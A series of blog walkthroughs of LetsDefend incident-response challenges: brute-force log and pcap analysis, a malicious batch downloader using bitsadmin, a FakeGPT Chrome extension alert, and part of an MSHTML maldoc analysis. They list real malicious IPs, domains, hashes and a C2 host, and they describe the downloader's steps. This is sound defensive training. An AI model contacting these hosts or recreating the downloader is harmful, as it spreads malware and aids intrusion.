Welcome to my weekly walkthrough! Imagine this: a web server has been compromised, and you’re handed a network packet capture file along with the server’s authentication log to figure out what was accessed and how it happened. If this sounds exciting to you, you’ve stumbled on the right blog!

This week’s mission is the Brute Force Attacks incident response challenge from LetsDefend. To solve this challenge, we’ll use Wireshark to discover the scope of a brute force attack, including the server’s IP, the targeted directory, the number of login attempts made, and which accounts were ultimately compromised. But that’s not all. Using the web server’s auth.log file, we’ll also determine if the attacker was targeting SSH and if they were able to brute force their way into any accounts. Sounds like a fun time, right? Let’s get to it!

And hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!

Challenge Link: https://app.letsdefend.io/challenge/brute-force-attacks

Challenge Scenario:

Our web server has been compromised, and it’s up to you to investigate the breach. Dive into the system, analyze logs, dissect network traffic, and uncover clues to identify the attacker and determine the extent of the damage. Are you up for the challenge?

Question 1: What is the IP address of the server targeted by the attacker’s brute-force attack?

Let’s get going! The first thing we need to do is extract the BruteForce.7z archive from within the ChallengeFile folder on the Desktop. Once it’s extracted, we’ll have two evidence files:

BruteForce.pcap
auth.log

The first file, BruteForce.pcap is a network packet capture file that we can open with Wireshark. The second, auth.log, is the web server’s authentication log that will help us find successful and failed logins. Throughout this investigation, we’ll use both the web server log and the network traffic log to investigate.

To tackle Question 1, let’s check out BruteForce.pcap first. We can double-click the file to open it Wireshark where we can start to analyze the packets.

Since there are thousands of packets to sort through, let’s start with a birds-eye view to understand what the IP addresses have the most traffic. This will help us narrow down which addresses we want to analyze further.

To do this in Wireshark let’s utilize the Statistics > Endpoints > IPv4 view. This will provide a summary of all the IPv4 addresses in the pcap.

Using this view, we see several private IP addresses (192.168.190.x) and several public IP addresses. But notice the number of packets — there are only two IPs responsible for the overwhelming amount of traffic.

Remember, we’re looking for the target IP address of a web server which are usually internet-facing. Using our powers of deduction, the target server is the one with the public IP address of 51[.]116[.]96[.]181.

Question 2: Which directory was targeted by the attacker’s brute-force attempt?

Okay, now that we know the IP address of the web server let’s do some further investigating in Wireshark.

Since web servers typically accept connections on ports 80 (HTTP) and 443 (HTTPS), let’s use Wireshark’s filter toolbar focus on the HTTP protocol. This will let us see the captured HTTP requests sent to the server.

After filtering for HTTP, we now see hundreds of HTTP POST requests sent to the web server targeting the index.php directory.

Question 3: Identify the correct username and password combination used for login.

Yikes! Based on the question, the attacker was able to find a valid username/password combination and gained access to the server.

To answer Question 3, we have to find the credentials used for authentication within the pcap. Fortunately, we can find this information quickly by leveraging Wireshark’s search function to search the packets for a keyword.

But first, we need to figure out what we are searching for exactly. For each HTTP POST request, the web server returns a response. Look at any of the responses sent from the server:

Each incorrect response returns the message >incorrect in red. So, maybe correct responses return >correct? Let’s find out! Rather than manually review all these records, let’s finally use Wireshark’s search functionality.

Press CTRL + F or press the magnifying glass to bring up the find/search bar, then select String, and finally select Packet details so we can search within the middle " # “packet details"window.

Now enter >correct into the search box.

Hey, we’ve got a hit! Now, right-click the packet and select Follow > HTTP Stream.

With visibility into the complete HTTP Stream of the " # "

correct” login, we can now identify the username and password sent in the POST request to the server!

Question 4: How many user accounts did the attacker attempt to compromise via RDP brute-force?

Now let’s determine how many usernames the attacker tried to brute force. To do this, let’s adjust our filters to narrow the scope from all HTTP traffic to only show the HTTP POST requests to the web server.

http && ip.dst==51.116.96.181

Do you see that each one captured a username form item?

Scrolling through the packets, we will see a few user accounts listed, but we can search much more efficiently with another method outside of Wireshark. To start, we’ll export the displayed packets to a plain text file.

Press File > Export Packet Dissections > As Plain Text…

Now, choose a File name and press Save. This will export the packets we have filtered into a text file. For this walkthrough, I’ll call my output file HTTPexport.txt.

Now, we’ll open the terminal and use grep to search the text file, displaying only the lines matching " # “username"and then removing any duplicate entries.

cat HTTPexport.txt | grep -i “username” | uniq

Using this method provides us the total number of user accounts targeted by the attacker!

Question 5: What is the " # "

clientName” of the attacker’s machine?

Previously we focused only on HTTP protocol traffic. Now we need to zoom out and search the rest of the pcap since the attacker’s machine name is not available in the HTTP request data.

But what are we looking for exactly? Let’s take the question literally and perform a search for the string " # “clientname"like we did back in Question 3.

This search will identify Remote Desktop Protocol (RDP) traffic directed towards the web server. In the packet details pane, the attacker’s client name will be visible in the clientName field of the Remote Desktop Protocol ClientData.

Question 6: When did the user last successfully log in via SSH, and who was it?

Now, rather than focus on HTTP or RDP events like we have in the previous questions, we’re going to look for Secure Shell (SSH) events — there’s just one problem, we can’t find them in Wireshark. That’s Okay! For this task we’ll pivot to the second challenge file, auth.log.

Open the log file in any text editor. Once it’s open, we’ll simply use the built-in search/find tool and look for ssh.

There are thousands of hits! Let’s review some of the ssh logging events and observe that successful login attempts contain the string " # “Accepted password"along with the username, IP address, and source port.

This means we can search the log for entries containing " # “Accepted password"to determine how many times the attacker logged and then navigate to the last result (it’s in ascending order) to find the last login and answer Question 6.

Question 7: How many unsuccessful SSH connection attempts were made by the attacker?

From the information we gathered in Question 6, we know that successful ssh logins generate an " # “Accepted password"log entry, but you also may have noticed that unsuccessful logins generate a " # “Failed password"entry.

So, let’s just simply search in the text editor for " # “Failed password"which should give us the total number of failed login attempts captured in this log!

Question 8: What technique is used to gain access?

Okay! We’ve now analyzed the HTTP, RDP, and SSH traffic and determined that the attacker tried thousands of guesses over these different protocols to gain access to the web server. With the sheer number of attempts, we can conclude that the web server was the victim of a brute force attack.

Let’s pivot to MITRE ATT&CK, a popular knowledge base of adversary tactics, techniques, and procedures to get more information and find the correct MITRE ID for this technique…

Brute Force _Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password…_attack.mitre.org

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.[1] Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.[2] Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Now that we have located the correct technique ID from MITRE ATT&CK, let’s submit our answer and wrap up this investigation!

Conclusion:

Great job! Going through this investigation, we’ve gathered the required evidence and scoped the damage caused by this brute force attack. With Wireshark, we started to paint a clearer picture of the attacker’s brute force methods and targets by pinpointing the server IP, the specific targeted directory, the number unsuccessful and successful login attempts made, and the compromised accounts. Then, by examining the web server’s auth.log file, we were able to determine the full scope of the SSH brute force attack including the number of successful and unsuccessful logins and what credentials were compromised.

A big thank you to LetsDefend for creating another cool and engaging challenge. The sheer volume of events generated during a brute force attack makes searching through the data all the more difficult, so this challenge was really helpful to practice log analysis in the context of a brute force attack. Personally, I hadn’t had much exposure or need to look through Linux auth.log files before. After seeing how much valuable information they hold, I will definitely remember this one during future Linux investigations. I also pick up something new every time I go hands-on with Wireshark. This time, seeing what packet details are available in the HTTP POST responses was really fascinating. Thanks for reading along!

If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Wireshark: https://www.wireshark.org/

Wikipedia — POST (HTTP): https://en.wikipedia.org/wiki/POST_(HTTP)

MITRE ATT&CK — Brute Force (T1110): https://attack.mitre.org/techniques/T1110/

LetsDefend — Batch Challenge Walkthrough

Sun, 08 Sep 2024 00:00:00 +0000

LetsDefend— Batch Challenge Walkthrough

Investigating a Malicious Batch Script with Notepad++ & Microsoft Learn

Image Credit: https://app.letsdefend.io/challenge/batch-downloader

Introduction:

Have you ever wanted to analyze a batch file to determine if it malicious or safe? If this topic sounds interesting to you, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough. This week, we’re tackling the Batch Downloader from LetsDefend! This challenge has us security analysts dissecting the content of a malicious batch file (.bat) to better understand what it does.

To perform the investigation, we’ll use Notepad++, a powerful text editor_,_ to examine the file_._ We’ll also leverage Microsoft Learn documentation to cross-reference our findings, giving us valuable background and context to fully understand the script’s behavior. Sounds like a fun time, right? Let’s get to it!

Challenge Link: https://app.letsdefend.io/challenge/batch-downloader

Challenge Scenario:

A malicious batch file has been discovered that downloads and executes files associated with the Laplas Clipper malware. Analyze this batch file to understand its behavior and help us investigate its activities.

Question 1: What command is used to prevent the command echoing in the console?

Let’s kick off our investigation! Before diving into the challenge file, it’s always a smart idea to understand what tools are available to us for analysis. To check what we have, we can open the Tools folder on the Desktop of the analysis virtual machine.

For this challenge we will be analyzing a Batch File (.bat) which is a type of command shell script that is used in Windows environments. As the batch file can be opened and edited in a plaintext editor, we will be using Notepad++ for the analysis.

Now, let’s navigate to the ChallengeFile folder and extract the 1.zip archive. Inside will be another nested file, go ahead and extract that one too so that we can access the malicious .bat file.

Finally, let’s open the batch file with Notepad++ so we can begin analyzing the contents.

To answer Question 1, we’re looking for the command that prevents echoing to the console. Focusing on Line 1 in the script we’ll see the following:

@echo off

This parameter prevents all of the commands in the script from being displayed to the console which will obfuscate what the script is doing.

Question 2: Which tool is used to download a file from a specified URL in the script?

Okay, to answer Question 2, we’re going to focus on Line 2 of the script.

Quickly scanning Line 2, we see some evidence of download activity including a URL, so we’re looking in the correct spot.

Let’s getting a better idea of what the bitsadmin command is and how it can be used to perform download jobs. Below is a description of Bitsadmin from Microsoft Learn:

Bitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress. The bitsadmin tool uses switches to identify the work to perform.

So, Bitsadmin uses these switches with the syntax below to perform transfer jobs:

bitsadmin transfer _Reference article for the bitsadmin transfer command, which transfers one or more files._learn.microsoft.com

bitsadmin /transfer [] [/priority <job_priority>] [/ACLflags ] [/DYNAMIC]

With this bit of background, we can now confirm that bitsadmin is the correct tool being used to download the file. Let’s check our work and continue the investigation!

Question 3: What is the priority set for the download operation in the script?

Let’s continuing dissecting the bitsadmin command on line 2 and focus on the switches used.

Referring to the bitsadmin syntax from the previous question, we will see a /priority switch. According to the Microsoft Learn reference, there are a few options to set the priority of the download job:

priorityOptional. Sets the priority of the job, including:

FOREGROUND

HIGH

NORMAL

LOW

In the case of this script, the job is set to the highest priority, FOREGROUND.

Question 4: Which command is used to start localization of environment changes in the script?

To answer Question 4, we need to locate a command for localization. Let’s take a closer look at line 3 — setlocal.

Going back to Microsoft Learn for reference, we can confirm that the setlocal command " # “starts localization of environment variables in a batch file.”

Question 5: Which IP address is used by malicious code?

Fortunately, locating the answer to Question 5 is straight forward — an IP address is readily visible in line 2.

While this is the only IP address in the batch script, let’s gather some additional threat intelligence by checking it against VirusTotal to see if we can get any hits that it’s malicious:

Okay, we’ve got a number of hits that this IP address is malicious and even some community reports attributing it to the Laplas Clipper malware mentioned in the challenge scenario!

Question 6: What is the name of the subroutine called to extract the contents of the zip file?

All right, back to analyzing the script. This time, we’re going to focus on lines 5 & 10 since we are looking for an unzip operation to extract the file downloaded from the malicious IP from Question 5.

If we look at line 5 there is a call to :UnZipFile and then in line 10, we’ll see the parameters of the subroutine.

Without dissecting each line, we can infer that this is correct subroutine that extracts the contents of the .zip file downloaded from the malicious IP.

Question 7: Which command attempts to start an executable file extracted from the zip file?

Based on what we learned in the previous question, we know that after download, the batch script extracts the contents of the retrieved .zip file.

To answer Question 7, we need to identify the command which then runs the executable (.exe) extracted from the archive. Let’s point our attention to line 7 with the start command.

Referencing Microsoft Learn the start command " # “starts a separate Command Prompt window to run a specified program or command.“In our example, the script uses start to launch the malicious executable.

Now that we have confirmed what start does, we can copy all of line 7 to answer Question 7.

Question 8: Which scripting language is used to extract the contents of the zip file?

We’ve made it to the last question! To answer Question 8, we’re going to revisit the UnZipFile subroutine that we looked at in Question 7.

There are a couple of clues here that point us to the correct answer.

In line 11 we see the vbs variable is setting a path ending with the .vbs extension.
The second clue is the command in line 22, cscript. Cscript is a command typically used to run Windows Script files, like .vbs files.

But what is a .vbs file then? It is a file extension for VBScript. VBScript is an older scripting language that is used to automate tasks on Windows systems.

In the malicious script we are analyzing, it is used to extract the contents of the .zip file.

Conclusion:

And there we have it! We’ve successfully analyzed the malicious batch file to and dug into the details of how it works. With the help of Notepad++, we’ve identified how the script downloads a second-stage payload, detailed where it downloads from, how it’s extracted, and how it is executed.

With our objectives completed, let’s close out this walkthrough of the Batch Downloader challenge!

A big thank you to LetsDefend for another educational (and fun) challenge! While this challenge is intended for beginners, it’s always extremely valuable to brush up on our research skills. Using Microsoft Learn to add context helped me gain a much better understanding of how this script works and various areas that we could improve our defenses against these types of attacks.

Again, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Microsoft Learn (Windows Commands): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands

Notepad++: https://notepad-plus-plus.org/

Microsoft Learn (Echo): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo

Microsoft Learn (Bitsadmin): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin

Microsoft Learn (Bitsadmin Transfer): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer

Microsoft Learn (setlocal): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal

VirusTotal: https://www.virustotal.com/gui/ip-address/193.169.255.78/detection

Microsoft Learn (start): start | Microsoft Learn

Microsoft Learn (cscript): Cscript | Microsoft Learn

Wikipedia (VBScript): VBScript — Wikipedia

LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough

Sun, 01 Sep 2024 00:00:00 +0000

LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough

Investigating a Malicious Chrome Extension inside a simulated SOC

Image Credit: https://letsdefend.io/

Introduction:

Ever wondered what it’s like to be a Security Operations Center (SOC) analyst or how to approach investigating a malicious Google Chrome extension? If so, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough! This week, we’re taking a break from the usual challenge write-up format to tackle the SOC202 — FakeGPT Malicious Chrome Extension " # "

alert" from LetsDefend.

Why the quotes? Well, in addition to scenario-based challenges, LetsDefend provides realistic alert scenarios in a simulated SOC to provide a hands-on experience with a SOC analyst’s workflow!

In this walkthrough, we’re going to go through the full triage of a simulated alert for a malicious Chrome extension installed onto a victim’s device. The triage process will include:

Taking ownership of the alert.
Investigating endpoint logs to understand if the file was detected and quarantined by the antimalware solution.
Leveraging external threat intelligence for context about the suspicious extension.
Hunting through network logs to determine if the extension contacted the command and control server.
Documenting discovered artifacts, creating case notes, and closing the alert.

We’ve got a full plate here, so I hope you’re hungry to learn. Let’s get started — thanks for joining me!

Challenge Link: https://app.letsdefend.io/monitoring

Alert Scenario:

Task 1 — We’re on the case:

First thing’s first. Before we can dive into the investigation, we’ll need to assign the SOC202 — FakeGPT Malicious Chrome Extension alert to ourselves and create a case where we manage our workflow, artifacts, and notes.

From the _Monitoring > Main Channe_l tab, let’s take the alert from the " # "

queue" and assign it to ourselves.

Then, from the Monitoring > Investigation Channel we’ll create the case:

Press Continue and we’ll be taken to the Case Management tab where we’ll keep track of our case and initiate the incident response playbook for this event.

Pro Tip: We’ll need to keep the Case Management window open to manage the playbook steps and to answer questions, but you’ll also need access to the various tabs (Log Management, Endpoint Security, etc.) on your dashboard available during the investigation. So, it’s best to open two tabs/windows in your browser so you can keep the case open on one and investigate with the other.

Now that we have the case opened, let’s follow the playbook and start our investigation!

Task 2: Check if the malware is quarantined/cleaned

Okay, once we click " # “Start Playbook!“we’re jumping right into the investigation and the first step is to the Define Threat Indicator we’re investigating. While we have a couple of pre-made choices to select from, none of them are a good fit since the indicator that triggered the alert is a suspicious browser extension or potential malware, so we’ll select Other.

Now, following the playbook, the first step we’ll take is to determine if the malware has been quarantined/cleaned or if it’s currently active. Reviewing the triggered reason, Suspicious extension added to the browser, the action was allowed. Because of this action we might already assume the file wasn’t quarantined. It’s a good start, but it’s always the best practice to double-verify with the available logs.

So, let’s go a bit deeper and dive into data to understand what happened. To do this, we have a couple of logging sources at our disposal: Log Management & Endpoint Security. Since we’re searching for an Antivirus action, let’s focus on the Endpoint Security logs first since that is the place to find endpoint-level malware logging.

But first, let’s refer back to the alert to recall the victim’s hostname and IP address:

Hostname: Samuel & IP Address: 172.16.17.173

Now, we can begin searching the Endpoint Security log for Samuel’s workstation, correlating the events, and looking for any hits that the malicious extension was quarantined by the endpoint’s antimalware solution.

It’s personal preference, but I’m going to change the results display drop-down from 10 to 20 to see all the log entries on one page. I also like to switch the Event Time column to descending (DESC) order — your choice though!

Next, let’s look at the Process Logs. Here we’ll find an event for Google Chrome (chrome.exe) where the suspicious extension (.crx) was opened with the browser with a timestamp that matches the alert. This establishes a point in time so that we can search the logs of events that occurred after this timestamp.

Finally, let’s focus now specifically on events from Microsoft Defender to see if any quarantine action was taken. But how do we know the endpoint is using Microsoft Defender? Notice the event right after the chrome.exe event we looked at earlier. The file path of the executable is a nice hint, but browsing the process names we’ll see MpCmdRun.exe which is the command-line tool component of Microsoft Defender Antivirus.

So, putting this all together, if we filter the Microsoft Defender process name and look for events after the malware was run, this will help us understand if Defender took any actions against the malicious file.

Based on the command line data, the three entries seem related to signature update jobs and are not quarantine actions. Between the Process events and the allowed action in the alert, we have enough evidence to confirm that the malware was Not Quarantined. Let’s go back to our Case Management tab, select the answer, and move on to the next step in the workflow.

Task 3: Analyze malware in 3rd party tools and find C2 address

Now that we’ve determined that the suspicious extension was not quarantined by the endpoint’s antimalware solution, we’ll need to analyze it further using the provided tools to determine if it is indeed malicious or not.

The playbook suggests the following web-based services that we can use to gather threat intelligence about the extension:

First, let’s jump back to the Alert in the Monitoring > Investigation Channel so we can copy the File Hash of the malicious extension.

If you aren’t familiar with file hashes, here’s a brief description from Microsoft:

A hash value is a unique value that corresponds to the content of the file. Rather than identifying the contents of a file by its file name, extension, or other designation, a hash assigns a unique value to the contents of a file. File names and extensions can be changed without altering the content of the file, and without changing the hash value. Similarly, the file’s content can be changed without changing the name or extension. However, changing even a single character in the contents of a file changes the hash value of the file.

So, put another way, using the file hash of the suspicious extension during our searches means that we’re getting data about the identical, exact file that was installed on Samuel’s workstation giving us a high degree of confidence compared to searching a file name or something easy to manipulate.

File Name: hacfaophiklaeolhnmckojjjjbnappen.crx

File Hash: 7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669

Let’s start with the first service on the list, ANY.RUN. Here, we can search for that file hash, view previous public submissions, and dive into the analysis results. Let’s check out the result with the closest timestamp to the Event Time (May 29, 2023, 01:01 PM) of the alert.

https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/

Scrolling through the screenshots, we’ll get a better idea of what this extension is — a suspicious looking ChatGPT extension.

https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/

This finding also matches something we can observe back in Samuel’s Endpoint Security > Browser History logs.

While we’ve gotten some more context, nothing was explicitly flagged as malicious on ANY.RUN so let’s pivot and check out the next service on the list, VirusTotal.

After submitting the file hash to VirusTotal and reviewing the available tabs, we still have no hits indicating concretely that this extension is malicious but what we do have is a comment in the Community tab linking to an external report from Guardio.

This could be a lead! Let’s check out the report.

[**” # "

FakeGPT” : New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with…** _By Nati Tal (Guardio Labs)_labs.guard.io](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282 “https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282")[](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282)

Reading the post, assessing the screenshots, and reviewing the indicators of compromise (IOCs) listed in the article, it also doesn’t seem to match any of the artifacts that we have located so far in the investigation…

But pay close attention to the update note at the top of the article — let’s see what the update has to offer.

Update: March 22, 2023 — Guardio Labs discovered another variant in this FakeGPT campaign, abusing open-source code and yet again hijacking Facebook profiles — read about it here.

[**” # "

FakeGPT" #2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer…** _By Nati Tal (Guardio Labs)_labs.guard.io](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61 “https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61")[](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61)

Okay! Based on the screenshots in the second report, this variant already looks familiar based on what we observed on Any.Run! Let’s focus on the IOCs listed at the bottom of the article.

https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61

Now we’re getting somewhere! The Malicious Extension ID matches the one from the alert and now we have some URLs we can hunt for in our Log Management. Since we’ve now located known malicious IOCs that match the artifacts we found on the victim’s system, this confirms that the extension is a malicious, FakeGPT stealer extension.

Task 4: Check if Someone Requested the C2

The next step in our workflow is needing to determine that after the malicious extension was installed if it requested the Command and Control (C2) server address or not.

To do this, we’re going to use the Log Management module to analyze relevant network traffic from Samuel’s device to see if we can find evidence that it contacted the C2 Server IOC that we found in the Guardio post.

Navigate to the Log Management tab, and toggle from the " # “Pro"filter to the " # “Basic"filter:

Then, search for the C2 Server from the IOC list to see if we get any hits in our own logs:

Uh-oh — we have two hits! Recall that Samuel’s source (SRC) IP address is 172.16.17.173 so we know that we’ve found the right entries for his device. Click the first entry to see the Raw Log for more details:

The presence of this DNS query confirms that chrome.exe on Samuel’s device requested the C2 domain that we learned about from the Guardio report. Additionally, we also have two IP addresses that this domain resolves to — let’s confirm this with VirusTotal:

https://www.virustotal.com/gui/domain/version.chatgpt4google.workers.dev/relations

To be thorough, we can also search for the Landing Page IOCs to gather more artifacts for the investigation:

Okay, now that we’ve investigated the logs and found hits for a Landing Page and the C2 server, let’s register that the C2 was accessed and continue through the workflow.

Task 5: Containment

Now that we have confirmed that the file is malicious and it was not quarantined by the antimalware, we’ll need to contain Samuel’s device to prevent any further negative impact so that we can remediate the threat.

To do this, we’ll go back to the Endpoint Security tab, search for Samuel, and trigger the containment action.

Task 6: Report and Close the Case

Okay, we’re closing in on the end of the investigation! The next step in the playbook is to recap the evidence, or artifacts, that we discovered on the victim’s system throughout the investigation.

The first artifact will be the file hash of the malicious extension. The alert provided the SHA256 file hash, but we need to input the MD5 hash into our case. We can simply look back at the VirusTotal entry for the malicious extension and copy it from there.

9cc6c26bd215549c39ba5b65e9eec9ea

Next, we will enter the Chrome Store URL address for the malicious extension. In Task 3, we found this in Samuel’s Browser History and within the Guardio report.

https://chrome.google.com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen

Next, we’ll enter the C2 Server URL Address and the 2x DNS resolved IP Addresses that we discovered in Tasks 3 & 4:

version.chatgpt4google.workers.dev 104.21.63.166 172.67.147.243

Finally, we can also add the additional landing pages from the IOC report that we also found with the Log Management data in Task 4. Adding these would reduce the risk of any other user downloading the malicious extension.

chatgptforgoogle.pro 52.76.101.124 3.1.17.18 18.140.6.45

Next, after putting in our list of artifacts, it’s time to input some good Analyst Notes to summarize our findings. These notes will accompany our list of IOCs when we file our case report:

Finally, with our report filed, we can now officially close the alert from the Investigation Channel! Great job tackling this investigation from start to finish — let’s wrap this thing up.

Conclusion:

And there we have it — mission accomplished!

As we wrap up the SOC202 — FakeGPT Malicious Chrome Extension alert, let’s recap what we discovered. Through our investigation of the endpoint logs, we identified a suspicious Chrome extension that was allowed to run. Then, we pivoted to external threat intelligence to provide further context, eventually stumbling on the Guardio report, which confirmed that the extension is malicious. Finally, we hunted for the IOCs from the same report in the network logs, to uncover communication with the command and control server, which confirmed our findings.

Now, you can review your answers in the Closed Alerts tab and review your report from the Case Management tab. Awesome job!

A big thank you to LetsDefend for providing such a cool, in-depth simulation platform. Their platform continues to be a helpful and fun resource for sharpening my cybersecurity skills and staying ready for the next alert. If you found this walkthrough helpful in leveling up your skills or getting you through a tricky challenge, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Microsoft Learn (mpcmdrun.exe): https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus

Microsoft Learn (File Hash): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description

Any.Run: https://app.any.run/

Any.Run Task: https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/

VirusTotal: https://www.virustotal.com/

**Guardio " # "

FakeGPT” : New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with Thousands of Daily Installs:** https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282

**Guardio " # "

FakeGPT” #2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer Chrome Extension:** https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61

MITRE ATT&CK — Command and Control (TA0011): https://attack.mitre.org/tactics/TA0011/

LetsDefend — MSHTML Challenge Walkthrough

Sun, 25 Aug 2024 00:00:00 +0000

LetsDefend — MSHTML Challenge Walkthrough

Maldoc analysis using zipdump.py, re-search.py, & VirusTotal

Image Credit: https://app.letsdefend.io/challenge/mshtml

Introduction:

Have you ever come across a suspicious document file and wondered if it’s doing something malicious in the background? If so, welcome to another weekly walkthrough — you’ve stumbled on the right blog!

This week, we’re tackling the MSHTML challenge from LetsDefend. Our mission is to analyze four malicious document (maldoc) samples, discover the IP addresses and domains hidden within them, and use that information to figure out which vulnerability or CVE that the threat actor is exploiting.

Throughout this walkthrough, we’ll explore the inner workings of .docx files to find indicators of compromise (IOCs). To do that, we’ll use several tools from Didier Stevens including zipdump, re-search, and numbers-to-string, to extract the artifacts. Then, we’ll leverage VirusTotal to correlate threat intelligence and determine the exploited CVE. Sounds like a fun time!

Although LetsDefend rates this challenge as Hard, we’ll go through it step-by-step to make it much more accessible. What are we waiting for? Thanks for reading along with me!

Challenge Link: https://app.letsdefend.io/challenge/mshtml

Challenge Scenario:

2021’s 0-Day MSHTML

Question 1: Examing the Employees_Contact_Audit_Oct_2021.docx file, what is the malicious IP in the docx file?

All right, let’s jump right in! But before we go too far down the rabbit hole, let’s check out the Tools folder on the Desktop to see what we have available at our disposal to work through this challenge.

For Question 1, we are going to be performing some analysis on a .docx file. It wouldn’t be much fun if we could simply just open it and find our answer, right?

With that in mind, let’s first get some background about the structure of the document’s format from the SANS Analyzing Malicious Documents cheat sheet:

OOXML document files (.docx, .xlsm, etc.) supported by Microsoft Office are compressed zip archives.

Interesting, since a .docx file is basically a zip archive, let’s go back and see what tool in the Tools folder might be able to help with this task. Maybe we can utilize Didier Stevens’ zipdump.py? According to the SANS cheat sheet, this utility can be used to " # “examine contents of OOXML file”— it sounds like this might fit the bill, let’s try it!

We’ll use the following syntax to perform a basic analysis on the document:

python3 zipdump.py /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx

We can see that zipdump.py lists out all the files contained within the .docx and assigns them an index filename — there are so many to choose from! Let’s start with a broad strokes approach.

After consulting the man pages for zipdump.py, we can use the — dumpall (-D) option to dump all these files rather than focus on a specific one for now.

But how will that help us analyze the output? For this, we can pipe the output into another Didier Stevens tool, re-search.py.

re-search.py is a tool that uses regular expressions to search through files. You can use regular expressions from a small builtin library, or provide your own regular expressions.

Combining zipdump and re-search, we’ll use the below command to dump all the indexes in the sample, pipe them into re-search, and then use the included filters to search the output for unique IPv4 addresses:

python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx | python3 re-search.py -n -u ipv4

Now we’ve located an IP address within the document and found the answer to Question 1!

While we’re at it, let’s do some additional threat intelligence gathering about this IP address on VirusTotal. This could come in handy for later in the challenge…

Question 2: Examing the Employee_W2_Form.docx file, what is the malicious domain in the docx file?

The same way we solved the previous question, we’re going to again combine zipdump and use the filtering capabilities of re-search to locate domains within the dump instead of IPv4 like we did in Question 1.

Let’s look at the options for re-search again:

https://github.com/DidierStevens/DidierStevensSuite/blob/master/re-search.py

At first glance, the url and url-domain options seem like the best choices to use with re-search. But we’ll hit a snag and not locate any suspicious hits when using these filters. Let’s pivot and try a third option, domaintld, in case the top-level domain is not one that is found with the standard url filter.

python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employee_W2_Form.docx | python3 re-search.py -u -n domaintld

There we go! Using the domaintld filter, we found the below domain in the document and can answer Question 2!

Question 3: Examing the Work_From_Home_Survey.doc file, what is the malicious domain in the doc file?

Okay, Question 3 has us analyzing a .doc file. While different than .docx, let’s approach this question with the same way that we used to answer Question 2 by using zipdump.py and re-search.py with the domaintld filter:

python3 zipdump.py -D /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc | python3 re-search.py -n -u domaintld

This seems promising but this domain isn’t long enough to answer Question 3…

Let’s dig more deeply. Instead of using the zipdump.py -D option to dump all the streams, let’s try to analyze them individually. But how do we know which streams to focus on?

Well, let’s do some Google research about the OOXML format to find out more about which stream contains external references like URLs. After some brief searching we’ll stumble across a reference sheet for the WordprocessingML file type from Open Office which has a very helpful note:

Office Open XML - Anatomy of an OOXML WordProcessingML File _Anatomy of a WordProcessingML File A WordprocessingML or docx file is a zip file (a package) containing a number of…_officeopenxml.com

http://officeopenxml.com/anatomyofOOXML.php

With that background information, we are going to focus on stream 10 (-s 10) and dump (-d) the content from this file only using the below command_._

python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d

This returns a huge blob of output but let’s focus on the highlighted section where we see a Relationship Id. We know from the OOXML specification that this should be the right location to find external links but it seems to be encoded…

